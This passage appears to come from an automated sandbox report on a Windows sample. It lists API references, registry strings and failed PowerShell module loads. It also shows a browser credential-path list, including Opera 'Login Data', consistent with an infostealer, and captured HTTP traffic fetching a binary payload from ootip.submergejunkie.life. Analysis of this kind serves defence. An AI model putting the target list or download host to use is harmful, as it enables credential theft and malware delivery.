"GetTempPathW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp")38:T85a,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp 00000000-00006612.00000001.214679.B9850000.00000004.mdmp 00000000-00006612.00000002.216597.B9850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp 00000000-00006612.00000001.214679.B9850000.00000004.mdmp 00000000-00006612.00000002.216597.B9850000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp39:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3a:T2c53,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006612.00000000.212757.B9850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006612.00000001.214679.B9850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006612.00000001.214679.B9850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp "HKLM\" in Source: 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006612.00000002.216597.B9850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006612.00000002.216597.B9850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Local\AVAST Software\Browser\User Data" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Software\\Brave-Browser\\User Data" "t":1 "pn":"brave.exe"} {"n":"b\\c9" "p":"\\Local\\Microsoft\\Edge\\User Data" "t":1 "pn":"msedge.exe"} {"n":"b\\c13" "p":"\\Roaming\\Opera Software\\Opera Stable" "t":1 "pn":"opera.exe"} {"n":"b\\c47" "p":"\\Roaming\\Opera Software\\Opera GX Stable" "t":1 "pn":"opera.exe"} {"n":"b\\c48" "p":"\\Local\\Opera Software\\Opera Neon\\User Data" "t":1 "pn":"opera.exe"} {"n":"b\\g1" "p":"\\Roaming\\Mozilla\\Firefox\\Profiles" "t":2 "pn":"firefox.exe"} {"n":"b\\g21" "p":"\\Roaming\\NETGATE Technq" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\whale.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\dragon.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\qqbrowser.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\basilisk.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\urbrowser.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\superbird.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\rockmelt.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe" in Source: 00000000-00007752.00000001.211725.00D20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007752.00000001.211725.05230000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007752.00000001.211725.7F960000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Local\AVAST Software\Browser\User Data" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Roaming\Opera Software\Opera Stable" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Local\INSoftware\NovaFTP" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Default\Login Data For Account" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "Registry\Machine\Software\Classes\.py\OpenWithProgids" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "Registry\Machine\Software\Classes\AllFilesystemObjects" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "Registry\Machine\Software\Classes\.one\OpenWithProgids" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "Registry\Machine\Software\Classes\.log\OpenWithProgids" in Source: 00000000-00007752.00000002.212644.00D20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007752.00000002.212644.04FD1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00007752.00000002.212644.05230000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\OneNote.Section.1" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.psd1" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.cer" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.protocol\AppXaf0097ws4bwb0wre67gmp7pc9fjr8en6" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.one" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions\windows.fileTypeAssociation\.zip" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Extensions" in Source: 00000000-00007752.00000002.212644.058E0000.00000004.mdmp3b:T99e9,"GET /was0do6si2 HTTP/1.1 Host: ootip.submergejunkie.life Connection: close" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:24:54 GMT Content-Type: application/octet-stream Content-Length: 390517 Connection: close Accept-Ranges: bytes ETag: "8c0c39b7202df0dc923d0766eeca2b74" Last-Modified: Thu 30 Apr 2026 20:03:25 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nfDrJjTpk2FaHDx2QO7BIkwIUk7cJXjunXRzAXFw8P4CaHqzfgnwF5vjkCMSgezvIQkcmB%2BgrNLqqKl6SKU3lBf60kw%2BeJzf0LhDriBhElcqHhnmN141QmSRpz1q1BgaQiSBeLDU4KKXtey4"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} speculation-rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 9f4a4d783e65c52c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>C284C3807101C3AA55535657C289C3A3C3BCC3AB5631C380C283C3A100C2BA000000005EC2BF7A686CC290C289C3B5C2BF3DC3AF3DC3AFC2B020C28A2629C389....... "GET /todos/130 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:24:57 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"7a-CJEs/c92Nb8GA+3VGz/CxLakyII" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=2UZlQXE7HjvWiy2LdmjLeKpbhofgDEZzo1MyQhXYNbI%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777046547"}] "max_age":3600} reporting-endpoints: 